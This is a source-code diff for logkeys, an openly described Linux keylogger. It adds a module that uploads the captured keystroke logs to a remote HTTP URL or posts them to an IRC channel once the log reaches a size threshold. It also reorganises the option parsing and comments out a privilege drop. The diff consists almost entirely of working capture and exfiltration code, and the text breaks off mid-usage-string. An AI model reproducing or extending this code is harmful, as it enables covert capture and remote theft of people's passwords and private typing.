+*/ + +#ifndef _ARGS_H_ +#define _ARGS_H_ + +namespace logkeys { + +struct arguments +{ + bool start; // start keylogger, -s switch + bool kill; // stop keylogger, -k switch + bool us_keymap; // use default US keymap, -u switch + char * logfile; // user-specified log filename, -o switch + char * keymap; // user-specified keymap file, -m switch or --export-keymap + char * device; // user-specified input event device, given with -d switch + char * http_url; // remote HTTP URL to POST log to, --post-http switch + char * irc_entity; // if --post-irc effective, this holds the IRC entity to PRIVMSG (either #channel or NickName) + char * irc_server; // if --post-irc effective, this holds the IRC hostname + char * irc_port; // if --post-irc effective, this holds the IRC port number + off_t post_size; // post log file to remote when of size post_size, --post-size switch + int flags; // holds the following option flags +#define FLAG_EXPORT_KEYMAP 0b1 // export keymap obtained from dumpkeys, --export-keymap is used +#define FLAG_NO_FUNC_KEYS 0b10 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. , etc.), --no-func-keys switch +#define FLAG_NO_TIMESTAMPS 0b100 // don't log timestamps, --no-timestamps switch +#define FLAG_POST_HTTP 0b1000 // post log to remote HTTP server, --post-http switch +#define FLAG_POST_IRC 0b10000 // post log to remote IRC server, --post-irc switch +#define FLAG_POST_SIZE 0b100000 // post log to remote HTTP or IRC server when log of size optarg, --post-size +} args = {0}; // default all args to 0x0 + + +void process_command_line_arguments(int argc, char **argv) +{ + int flags; + + struct option long_options[] = { + {"start", no_argument, 0, 's'}, + {"keymap", required_argument, 0, 'm'}, + {"output", required_argument, 0, 'o'}, + {"us-keymap", no_argument, 0, 'u'}, + {"kill", no_argument, 0, 'k'}, + {"device", required_argument, 0, 'd'}, + {"help", no_argument, 0, '?'}, + {"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP}, + {"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS}, + {"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS}, + {"post-http", required_argument, &flags, FLAG_POST_HTTP}, + {"post-irc", required_argument, &flags, FLAG_POST_IRC}, + {"post-size", required_argument, &flags, FLAG_POST_SIZE}, + {0} + }; + + char c; + int option_index; + + while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1) + { + switch (c) + { + case 's': args.start = true; break; + case 'm': args.keymap = optarg; break; + case 'o': args.logfile = optarg; break; + case 'u': args.us_keymap = true; break; + case 'k': args.kill = true; break; + case 'd': args.device = optarg; break; + + case 0 : + args.flags |= flags; + switch (flags) + { + case FLAG_EXPORT_KEYMAP: args.keymap = optarg; break; + + case FLAG_POST_HTTP: + if (strncmp(optarg, "http://", 7) != 0) + error(EXIT_FAILURE, 0, "HTTP URL must be like \"http://domain:port/script\""); + args.http_url = optarg; + break; + + case FLAG_POST_IRC: { + // optarg string should be like "entity@server:port", now dissect it + char *main_sep = strrchr(optarg, '@'); + char *port_sep = strrchr(optarg, ':'); + if (main_sep == NULL || port_sep == NULL) + error(EXIT_FAILURE, 0, "Invalid IRC FORMAT! Must be: nick_or_channel@server:port. See manual!"); + *main_sep = '\0'; // replace @ with \0 to have entity string that starts at optarg + *port_sep = '\0'; // replace : with \0 to have server string that starts at main_sep+1 + args.irc_entity = optarg; + args.irc_server = main_sep + 1; + args.irc_port = port_sep + 1; + break; + } + + case FLAG_POST_SIZE: + args.post_size = atoi(optarg); + switch (optarg[strlen(optarg) - 1]) // process any trailing M(egabytes) or K(ilobytes) + { + case 'K': case 'k': args.post_size *= 1000; break; + case 'M': case 'm': args.post_size *= 1000000; break; + } + } + break; + + case '?': usage(); exit(EXIT_SUCCESS); + default : usage(); exit(EXIT_FAILURE); + } + } // while + + while(optind < argc) + error(0, 0, "Non-option argument %s", argv[optind++]); +} + +} // namespace logkeys +#endif // _ARGS_H_ diff --git a/src/keytables.cc b/src/keytables.cc index b7c3071..a5d5155 100644 --- a/src/keytables.cc +++ b/src/keytables.cc @@ -1,5 +1,13 @@ -#ifndef _DEFAULT_KEYS_H_ -#define _DEFAULT_KEYS_H_ +/* + Copyleft (ɔ) 2009 Kernc + This program is free software. It comes with absolutely no warranty whatsoever. + See COPYING for further information. + + Project homepage: http://code.google.com/p/logkeys/ +*/ + +#ifndef _KEYTABLES_H_ +#define _KEYTABLES_H_ #include #include @@ -13,7 +21,7 @@ wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\ // TODO: add altgr_shift_keys[] (http://en.wikipedia.org/wiki/AltGr_key#US_international) wchar_t func_keys[][8] = { - L"", L"", L"", L"", L"", L"", L"", L"", L"", L" L", L"", L"", L"", L"", L"", L"", + L"", L"", L"", L"", L"", L"", L"", L"", L"", L" ", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", /*"<",*/ L"", L"", L"", L"", L"", L"", L"", L"" /*linefeed?*/, L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"", L"" @@ -91,4 +99,4 @@ inline int to_func_keys_index(unsigned int keycode) } // namespace logkeys -#endif +#endif // _KEYTABLES_H_ diff --git a/src/llk.cc b/src/llk.cc index d057d27..2ec2d89 100644 --- a/src/llk.cc +++ b/src/llk.cc @@ -1,3 +1,11 @@ +/* + Copyleft (ɔ) 2009 Kernc + This program is free software. It comes with absolutely no warranty whatsoever. + See COPYING for further information. + + Project homepage: http://code.google.com/p/logkeys/ +*/ + #include #include diff --git a/src/llkk.cc b/src/llkk.cc index eb6226a..50d43ae 100644 --- a/src/llkk.cc +++ b/src/llkk.cc @@ -1,3 +1,11 @@ +/* + Copyleft (ɔ) 2009 Kernc + This program is free software. It comes with absolutely no warranty whatsoever. + See COPYING for further information. + + Project homepage: http://code.google.com/p/logkeys/ +*/ + #include #include diff --git a/src/logkeys.cc b/src/logkeys.cc index 506c3ca..370da13 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -10,18 +10,19 @@ #include #include #include +#include #include #include #include #include +#include #include #include #include #include +#include #include -#include "keytables.cc" // character and function key tables and helper functions - #ifdef HAVE_CONFIG_H # include // include config produced from ./configure #endif @@ -30,7 +31,7 @@ # define PACKAGE_VERSION "0.1.0" // if PACKAGE_VERSION wasn't defined in #endif -// following EXE_* macros should be defined in config.h; if not, default +// the following path-to-executable macros should be defined in config.h; #ifndef EXE_PS # define EXE_PS "/bin/ps" #endif @@ -44,40 +45,22 @@ #endif #define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" ) -#define COMMAND_STR_DEVICES ( EXE_GREP " Name /proc/bus/input/devices | " EXE_GREP " -nE '[Kk]eyboard|kbd'" ) +#define COMMAND_STR_DEVICES EXE_GREP " Name /proc/bus/input/devices | " EXE_GREP " -nE " +#define COMMAND_STR_DEVICES1 ( COMMAND_STR_DEVICES "'[Kk]eyboard|kbd'" ) +#define COMMAND_STR_DEVICES2 ( COMMAND_STR_DEVICES "'HID'" ) #define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() ) -#define INPUT_EVENT_PATH "/dev/input/" -#define DEFAULT_LOG_FILE "/var/log/logkeys.log" -#define PID_FILE "/var/run/logkeys.pid" +#define INPUT_EVENT_PATH "/dev/input/" // standard path +#define DEFAULT_LOG_FILE "/var/log/logkeys.log" +#define PID_FILE "/var/run/logkeys.pid" + +#include "usage.cc" // usage() function +#include "args.cc" // global arguments struct and arguments parsing +#include "keytables.cc" // character and function key tables and helper functions +#include "upload.cc" // functions concerning remote uploading of log file namespace logkeys { -void usage() -{ - fprintf(stderr, -"Usage: logkeys [OPTION]...\n" -"Log depressed keyboard keys.\n" -"\n" -" -s, --start start logging keypresses\n" -" -m, --keymap=FILE use keymap FILE\n" -" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n" -" -u, --us-keymap use en_US keymap instead of configured default\n" -" -k, --kill kill running logkeys process\n" -" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n" -" -?, --help print this help screen\n" -" --export-keymap=FILE export configured keymap to FILE and exit\n" -" --no-func-keys log only character keys\n" -"\n" -"Examples: logkeys -s -m mylang.map -o ~/.secret/keys.log\n" -" logkeys -s -d /dev/input/event6\n" -" logkeys -k\n" -"\n" -"logkeys version: " PACKAGE_VERSION "\n" -"logkeys homepage: \n" - ); -} - // executes cmd and returns string ouput or "ERR" on pipe error std::string execute(const char* cmd) { @@ -93,17 +76,6 @@ std::string execute(const char* cmd) return result; } -struct arguments -{ - bool start; // start keylogger, -s switch - bool kill; // stop keylogger, -k switch - bool us_keymap; // use default US keymap, -u switch - int export_keymap; // export keymap obtained from dumpkeys, --export-keymap - int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. , etc.), --no-func-keys switch - char * logfile; // user-specified log filename, -o switch - char * keymap; // user-specified keymap file, -m switch or --export-keymap - char * device; // user-specified input event device, given with -d switch -} args = {0}; // default all args to 0x0 int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it @@ -133,13 +105,13 @@ void exit_cleanup(int status, void *discard) void create_PID_file() { // create temp file carrying PID for later retrieval - int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644); - if (temp_fd != -1) { + int pid_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644); + if (pid_fd != -1) { char pid_str[16] = {0}; sprintf(pid_str, "%d", getpid()); - if (write(temp_fd, pid_str, strlen(pid_str)) == -1) + if (write(pid_fd, pid_str, strlen(pid_str)) == -1) error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'"); - close(temp_fd); + close(pid_fd); } else { if (errno == EEXIST) @@ -178,11 +150,14 @@ void kill_existing_process() void set_signal_handling() { // catch SIGHUP, SIGINT and SIGTERM signals to exit gracefully - struct sigaction act = {}; + struct sigaction act = {{0}}; act.sa_handler = signal_handler; sigaction(SIGHUP, &act, NULL); sigaction(SIGINT, &act, NULL); sigaction(SIGTERM, &act, NULL); + // prevent child processes from becoming zombies + act.sa_handler = SIG_IGN; + sigaction(SIGCHLD, &act, NULL); } void determine_system_keymap() @@ -254,6 +229,7 @@ void determine_system_keymap() } // while (getline(dump, line)) } + void parse_input_keymap() { // custom map will be used; erase existing US keytables @@ -350,71 +326,53 @@ void export_keymap_to_file() void determine_input_device() { + // better be safe than sory: while running other programs, switch user to nobody + setegid(65534); seteuid(65534); + // extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.) - std::string output = execute(COMMAND_STR_DEVICES); + std::string output = execute(COMMAND_STR_DEVICES1); + int index = atoi(output.c_str()) - 1; + if (index == -1) { + output = execute(COMMAND_STR_DEVICES2); + index = atoi(output.c_str()) - 1; + } + if (index == -1) { + error(0, 0, "Couldn't determine keyboard device. :/"); + error(EXIT_FAILURE, 0, "Please post contents of your /proc/bus/input/devices file as a new bug report. Thanks!"); + } std::stringstream input_dev_index; input_dev_index << INPUT_EVENT_PATH; input_dev_index << "event"; - input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1) + input_dev_index << index; // the correct input event # is (output - 1) args.device = const_cast(input_dev_index.str().c_str()); // const_cast safe because original isn't modified + + // now we reclaim those root privileges + seteuid(0); setegid(0); } + int main(int argc, char **argv) { on_exit(exit_cleanup, NULL); if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?"); - // default log file will be used if none specified - args.logfile = (char*) DEFAULT_LOG_FILE; + args.logfile = (char*) DEFAULT_LOG_FILE; // default log file will be used if none specified - { // process options and arguments - - struct option long_options[] = { - {"start", no_argument, 0, 's'}, - {"keymap", required_argument, 0, 'm'}, - {"output", required_argument, 0, 'o'}, - {"us-keymap", no_argument, 0, 'u'}, - {"kill", no_argument, 0, 'k'}, - {"device", required_argument, 0, 'd'}, - {"help", no_argument, 0, '?'}, -#define EXPORT_KEYMAP_INDEX 7 - {"export-keymap", required_argument, &args.export_keymap, 1}, // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7) - {"no-func-keys", no_argument, &args.nofunc, 1}, - {0} - }; - - char c; - int option_index; - - while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1) - switch (c) { - case 's': args.start = true; break; - case 'm': args.keymap = optarg; break; - case 'o': args.logfile = optarg; break; - case 'u': args.us_keymap = true; break; - case 'k': args.kill = true; break; - case 'd': args.device = optarg; break; - - case 0 : - if (option_index == EXPORT_KEYMAP_INDEX) - args.keymap = optarg; - break; - - case '?': usage(); exit(EXIT_SUCCESS); - default : usage(); exit(EXIT_FAILURE); - } - - while(optind < argc) - error(0, 0, "Non-option argument %s", argv[optind++]); - } // process arguments + process_command_line_arguments(argc, argv); // kill existing logkeys process if (args.kill) kill_existing_process(); - if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); } + // if neither start nor export, that must be an error + if (!args.start && !(args.flags & FLAG_EXPORT_KEYMAP)) { usage(); exit(EXIT_FAILURE); } + + // if posting remote and post_size not set, set post_size to default [500K bytes] + if (args.post_size == 0 && (args.http_url || args.irc_server)) { + args.post_size = 500000; + } // check for incompatible flags if (args.keymap && args.us_keymap) { @@ -423,16 +381,16 @@ int main(int argc, char **argv) set_utf8_locale(); - if (args.start && args.keymap && !args.export_keymap) { + if (args.start && args.keymap && !(args.flags & FLAG_EXPORT_KEYMAP)) { // read keymap from file parse_input_keymap(); } - else if ((args.start && !args.us_keymap) || args.export_keymap) { + else if ((args.start && !args.us_keymap) || (args.flags & FLAG_EXPORT_KEYMAP)) { // get keymap used by the system and optionally export it to file determine_system_keymap(); // export keymap if so requested - if (args.export_keymap) export_keymap_to_file(); + if ((args.flags & FLAG_EXPORT_KEYMAP)) export_keymap_to_file(); } if (args.device == NULL) { // no device given with -d switch @@ -446,10 +404,9 @@ int main(int argc, char **argv) set_signal_handling(); - int nochdir; + int nochdir = 0; if (args.logfile[0] != '/') nochdir = 1; // don't chdir (logfile specified with relative path) - else nochdir = 0; int noclose = 1; // don't close streams (stderr used) if (daemon(nochdir, noclose) == -1) // become daemon error(EXIT_FAILURE, errno, "Failed to become daemon"); @@ -470,10 +427,8 @@ int main(int argc, char **argv) // open log file as stdout (if file doesn't exist, create it with safe 0600 permissions) umask(0177); stdout = freopen(args.logfile, "a", stdout); - if (stdout == NULL) { - error(0, errno, "Error opening output file '%s'", args.logfile); - exit(EXIT_FAILURE); - } + if (stdout == NULL) + error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile); // now we need those privileges back in order to create system-wide PID_FILE seteuid(0); setegid(0); @@ -481,23 +436,30 @@ int main(int argc, char **argv) create_PID_file(); // now we've got everything we need, finally drop privileges by becoming 'nobody' - setegid(65534); seteuid(65534); + //setegid(65534); seteuid(65534); unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see ) struct input_event event; char timestamp[32]; // timestamp string, long enough to hold format "\n%F %T%z > " - char repeat[16]; // holds "key repeated" string of the format "" bool shift_in_effect = false; bool altgr_in_effect = false; bool ctrl_in_effect = false; // used for identifying Ctrl+C / Ctrl+D int count_repeats = 0; // count_repeats differs from the actual number of repeated characters!! only the OS knows how these two values are related (by respecting configured repeat speed and delay) - + + struct stat st; + stat(args.logfile, &st); + off_t file_size = st.st_size; // log file is currently file_size bytes "big" + int inc_size; // is added to file_size in each iteration of keypress reading, adding number of bytes written to log file in that iteration + time_t cur_time; time(&cur_time); -#define TIME_FORMAT "%F %T%z > " - strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&cur_time)); +#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ + strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time)); - fprintf(stdout, "Logging started ...\n%s", timestamp); + if (args.flags & FLAG_NO_TIMESTAMPS) + file_size += fprintf(stdout, "Logging started at %s\n\n", timestamp); + else + file_size += fprintf(stdout, "Logging started ...\n\n%s", timestamp); fflush(stdout); // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) @@ -509,27 +471,57 @@ int main(int argc, char **argv) #define EV_REPEAT 2 // when key switches to repeating after short delay if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY - + + inc_size = 0; scan_code = event.code; if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error - fprintf(stdout, "", scan_code); + inc_size += fprintf(stdout, "", scan_code); + if (inc_size > 0) file_size += inc_size; continue; } + // if remote posting is enabled and size treshold is reached + if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) { + fclose(stdout); + + std::stringstream ss; + for (int i = 1;; ++i) { + ss.clear(); + ss.str(""); + ss << args.logfile << "." << i; + if (stat(ss.str().c_str(), &st) == -1) break; // file .log.i doesn't yet exist + } + + if (rename(args.logfile, ss.str().c_str()) == -1) // move current log file to indexed + error(EXIT_FAILURE, errno, "Error renaming logfile"); + + stdout = fopen(args.logfile, "a"); // open empty log file with the same name + if (stdout == NULL) + error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile); + + file_size = 0; // new log file is now empty + // TODO: write new timestamp + + switch (fork()) + { + case -1: error(0, errno, "Error while forking remote-posting process"); + case 0: + start_remote_upload(); // child process will upload the .log.i files + exit(EXIT_SUCCESS); + } + } + // on key repeat ; must check before on key press if (event.value == EV_REPEAT) { ++count_repeats; } else if (count_repeats) { if (prev_code == KEY_RIGHTSHIFT || prev_code == KEY_LEFTCTRL || prev_code == KEY_RIGHTALT || prev_code == KEY_LEFTALT || - prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // do nothing if the cause of repetition are these function keys + prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // if repeated key is modifier, do nothing else { - if (args.nofunc && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either - else { - sprintf(repeat, "<#+%d>", count_repeats); // else print some dubious note of repetition - fprintf(stdout, "%s", repeat); - } + if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either + else inc_size += fprintf(stdout, "<#+%d>", count_repeats); } count_repeats = 0; // reset count for future use } @@ -541,9 +533,14 @@ int main(int argc, char **argv) if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { if (ctrl_in_effect) - fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D - strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec)); - fprintf (stdout, "%s", timestamp); // then newline and timestamp + inc_size += fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D + if (args.flags & FLAG_NO_TIMESTAMPS) + inc_size += fprintf(stdout, "\n"); + else { + strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec)); + inc_size += fprintf(stdout, "%s", timestamp); // then newline and timestamp + } + if (inc_size > 0) file_size += inc_size; continue; // but don't log "" } @@ -559,35 +556,32 @@ int main(int argc, char **argv) wchar_t wch; if (altgr_in_effect) { wch = altgr_keys[to_char_keys_index(scan_code)]; - if (wch != L'\0') fprintf(stdout, "%lc", wch); - else if (shift_in_effect) { - wch = shift_keys[to_char_keys_index(scan_code)]; - if (wch != L'\0') fprintf(stdout, "%lc", wch); - } - else { - wch = char_keys[to_char_keys_index(scan_code)]; - if (wch != L'\0') fprintf(stdout, "%lc", wch); + if (wch == L'\0') { + if(shift_in_effect) + wch = shift_keys[to_char_keys_index(scan_code)]; + else + wch = char_keys[to_char_keys_index(scan_code)]; } } else if (shift_in_effect) { wch = shift_keys[to_char_keys_index(scan_code)]; - if (wch != L'\0') fprintf(stdout, "%lc", wch); + if (wch == L'\0') + wch = char_keys[to_char_keys_index(scan_code)]; } - else { + else // neither altgr nor shift are effective, this is a normal char wch = char_keys[to_char_keys_index(scan_code)]; - if (wch != L'\0') fprintf(stdout, "%lc", wch); - } - } + + if (wch != L'\0') inc_size += fprintf(stdout, "%lc", wch); // write character to log file + } else if (is_func_key(scan_code)) { - if (!args.nofunc) { // only log function keys if --no-func-keys not requested - fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]); + if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested + inc_size += fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]); } else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { - // but always log a single space for Space and Tab keys - fprintf(stdout, " "); + inc_size += fprintf(stdout, " "); // but always log a single space for Space and Tab keys } } - else fprintf(stdout, "", scan_code); // keycode is neither of character nor function, log error + else inc_size += fprintf(stdout, "", scan_code); // keycode is neither of character nor function, log error } // if (EV_MAKE) // on key release @@ -602,6 +596,8 @@ int main(int argc, char **argv) prev_code = scan_code; fflush(stdout); + if (inc_size > 0) file_size += inc_size; + } // while (read(input_fd)) // append final timestamp, close files and exit @@ -618,7 +614,8 @@ int main(int argc, char **argv) } // namespace logkeys -int main(int argc, char** argv) { - logkeys::main(argc, argv); +int main(int argc, char** argv) +{ + return logkeys::main(argc, argv); } diff --git a/src/upload.cc b/src/upload.cc new file mode 100644 index 0000000..64d7000 --- /dev/null +++ b/src/upload.cc @@ -0,0 +1,264 @@ +/* + Copyleft (ɔ) 2009 Kernc + This program is free software. It comes with absolutely no warranty whatsoever. + See COPYING for further information. + + Project homepage: http://code.google.com/p/logkeys/ +*/ + +#ifndef _UPLOAD_H_ +#define _UPLOAD_H_ + +#define UPLOADER_PID_FILE "/var/run/logkeys.upload.pid" // pid file for the remote-uploading process + +namespace logkeys { + +int sendall(int sockfd, const char *buf, size_t len) +{ + size_t total = 0; + int n = 0; // how many bytes we've sent + size_t bytesleft = len; // how many we have left to send + + while(total < len) { + if ((n = send(sockfd, buf + total, bytesleft, 0)) == -1) + break; + total += n; + bytesleft -= n; + } + + return n == -1 ? -1 : 0; // return -1 on failure, 0 on success +} + +int open_connection(const char *server, const char *port) +{ + struct addrinfo *servinfo, *p; // servinfo will point to IP results + struct addrinfo hints = {0}; + hints.ai_family = AF_UNSPEC; // will "resolve" both IPv4 or IPv6 addresses/hosts + hints.ai_socktype = SOCK_STREAM; // we will use TCP stream + + int status, sockfd; + if ((status = getaddrinfo(server, port, &hints, &servinfo)) != 0) + error(EXIT_FAILURE, 0, "getaddrinfo() error (%s:%s): %s", server, port, gai_strerror(status)); + + // loop through the servinfo list and connect to the first connectable address + for (p = servinfo; p != NULL; p = p->ai_next) { + if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) + continue; + if (connect(sockfd, p->ai_addr, p->ai_addrlen) == -1) { + close(sockfd); + continue; + } + break; + } + + if (p == NULL) sockfd = -1; // if connecting failed, return -1 + + freeaddrinfo(servinfo); // free the servinfo linked-list + + return sockfd; +} + +char * read_socket(int sockfd) +{ +#define STR_SIZE 1000000 + static char str[STR_SIZE] = {0}; + if (recv(sockfd, str, STR_SIZE, 0) == -1) + return NULL; + return str; +} + +int sockfd; +bool isKilled = false; + +void uploader_signal_handler(int signal) +{ + isKilled = true; + close(sockfd); +} + +void start_remote_upload() +{ + int pid_fd = open(UPLOADER_PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644); + if (pid_fd == -1) { + error(EXIT_FAILURE, errno, "Error creating uploader PID file '" UPLOADER_PID_FILE "'"); + } + + // catch SIGHUP, SIGINT, SIGTERM signals to exit gracefully + struct sigaction act = {{0}}; + act.sa_handler = uploader_signal_handler; + sigaction(SIGHUP, &act, NULL); + sigaction(SIGINT, &act, NULL); + sigaction(SIGTERM, &act, NULL); + +#define MAX_FILES 1000 + char successful[MAX_FILES] = {0}; // array holding results + + int last_index; // determine how many logfiles.X are there + for (last_index = 1; last_index < MAX_FILES; ++last_index) { + std::stringstream filename; + filename << args.logfile << '.' << last_index; + std::ifstream ifs(filename.str().c_str()); + + if (!ifs) break; + ifs.close(); + } + --last_index; // logfile.last_index is the last one + + // POST to remote HTTP server + if (args.http_url) { + + std::string url = std::string(args.http_url); + std::string port = "80"; + std::string host = url.substr(url.find("://") + 3); + std::string location = host.substr(host.find("/")); + host = host.substr(0, host.find("/")); + + if (host.find(":") != std::string::npos) { // if port specified (i.e. "http://hostname:port/etc") + port = host.substr(host.find(":") + 1); + host = host.substr(0, host.find(":")); + } + + srand(time(NULL)); + + for (int i = 1; i <= last_index && !isKilled; ++i) { + + std::stringstream filename; + filename << args.logfile << '.' << i; + std::ifstream ifs(filename.str().c_str()); + + if (!ifs) break; + + sockfd = open_connection(host.c_str(), port.c_str()); + + if (sockfd == -1) break; + + std::string line, file_contents; + while(getline(ifs, line)) file_contents += line + "\n"; + ifs.close(); + + std::stringstream boundary, postdata, obuf; + boundary << "---------------------------" << time(NULL) << rand() << rand(); + + postdata << "--" << boundary.str() << "\r\n" << + "Content-Disposition: form-data; name=\"file\"; filename=\"" << filename.str() << "\"\r\n" + "Content-Type: text/plain\r\n\r\n" << file_contents << "\r\n--" << boundary.str() << "--\r\n"; + + obuf << + "POST " << location << " HTTP/1.1\r\n" + "Host: " << host << "\r\n" + "User-Agent: logkeys (http://code.google.com/p/logkeys/)\r\n" + "Accept: */*\r\n" + "Content-Type: multipart/form-data; boundary=" << boundary.str() << "\r\n" + "Content-Length: " << postdata.str().size() << "\r\n" + "\r\n" << postdata.str(); + + if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) { + close(sockfd); + error(0, errno, "Error sending output"); + break; + } + sleep(1); + + if (strncmp(read_socket(sockfd), "HTTP/1.1 200", 12) == 0) + ++successful[i - 1]; + + if (successful[i - 1] && !args.irc_server) remove(filename.str().c_str()); + + close(sockfd); + } + } + + // post to remote IRC server + if (args.irc_server && !isKilled) { + + sockfd = open_connection(args.irc_server, args.irc_port); + if (sockfd == -1) { + remove(UPLOADER_PID_FILE); + error(EXIT_FAILURE, errno, "Failed to connect to remote server(s)"); + } + + fprintf(stderr, "posting IRC...\n"); // debug + + srand(time(NULL)); + int random = rand() % 999999; // random 6 digits will be part of IRC nickname + std::stringstream obuf; + obuf << "USER lk" << random << " 8 * :http://code.google.com/p/logkeys\r\n" + "NICK lk" << random << "\r\n"; + if (args.irc_entity[0] == '#') // if entity is a channel, add command to join it + obuf << "JOIN " << args.irc_entity << "\r\n"; + + if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) { + remove(UPLOADER_PID_FILE); + error(EXIT_FAILURE, errno, "Error sending output"); + } + obuf.clear(); + obuf.str(""); + + for (int i = 1; i <= last_index && !isKilled; ++i) { + std::stringstream filename; + filename << args.logfile << '.' << i; + std::ifstream ifs(filename.str().c_str()); + + if (!ifs) break; + + std::string line; + while (std::getline(ifs, line)) { +#define IRC_MAX_LINE_SIZE 400 + while (line.size() > IRC_MAX_LINE_SIZE) { + obuf << "PRIVMSG " << args.irc_entity << " :" + << line.substr(0, IRC_MAX_LINE_SIZE) << "\r\n"; + + if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) { + remove(UPLOADER_PID_FILE); + error(EXIT_FAILURE, errno, "Error sending output"); + } + obuf.clear(); + obuf.str(""); + sleep(1); + line = line.substr(IRC_MAX_LINE_SIZE); + } + obuf << "PRIVMSG " << args.irc_entity << " :" << line << "\r\n"; + + if (sendall(sockfd, obuf.str().c_str(), obuf.str().size()) == -1) { + remove(UPLOADER_PID_FILE); + error(EXIT_FAILURE, errno, "Error sending output"); + } + obuf.clear(); + obuf.str(""); + } + + ifs.close(); + sleep(1); + + ++successful[i - 1]; + } + close(sockfd); + } + + char successful_treshold = 0; // determine how many post methods were supposed to be used + if (args.http_url) ++successful_treshold; + if (args.irc_server) ++successful_treshold; + + // remove all successfully uploaded files... + for (int i = 1, j = 1; i <= last_index; ++i) { + std::stringstream filename; + filename << args.logfile << '.' << i; + + if (successful[i - 1] == successful_treshold) { + remove(filename.str().c_str()); + } + else if (i != j) { // ...and rename unsuccessfully uploaded files so they run in uniform range logfile.X for X = 1..+ + std::stringstream target_name; + target_name << args.logfile << '.' << j; + rename(filename.str().c_str(), target_name.str().c_str()); + ++j; + } + } + + close(pid_fd); + remove(UPLOADER_PID_FILE); +} + +} // namespace logkeys + +#endif // _UPLOAD_H_ diff --git a/src/usage.cc b/src/usage.cc new file mode 100644 index 0000000..be47678 --- /dev/null +++ b/src/usage.cc @@ -0,0 +1,45 @@ +/* + Copyleft (ɔ) 2009 Kernc + This program is free software. It comes with absolutely no warranty whatsoever. + See COPYING for further information. + + Project homepage: http://code.google.com/p/logkeys/ +*/ + +#ifndef _USAGE_H_ +#define _USAGE_H_ + +namespace logkeys { + +void usage() +{ + fprintf(stderr, +"Usage: logkeys [OPTION]...\n" +"Log depressed keyboard keys.\n" +"\n" +" -s, --start start logging keypresses\n" +" -m, --keymap=FILE use keymap FILE\n" +" -o, --output=FILE log output to FILE [" DEFAULT_LOG_FILE "]\n" +" -u, --us-keymap use en_US keymap instead of configured default\n" +" -k, --kill kill running logkeys process\n" +" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n" +" -?, --help print this help screen\n" +" --export-keymap=FILE export configured keymap to FILE and exit\n" +" --no-func-keys log only character keys\n" +" --no-timestamps don't prepend timestamps to log file lines\n" +" --post-http=URL POST log to URL as multipart/form-data file\n" +//" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n" +" --post-size=SIZE post log file when size equals SIZE [500k]\n" +"\n" +"Examples: logkeys -s -m mylang.map -o ~/.secret-keys.log\n" +" 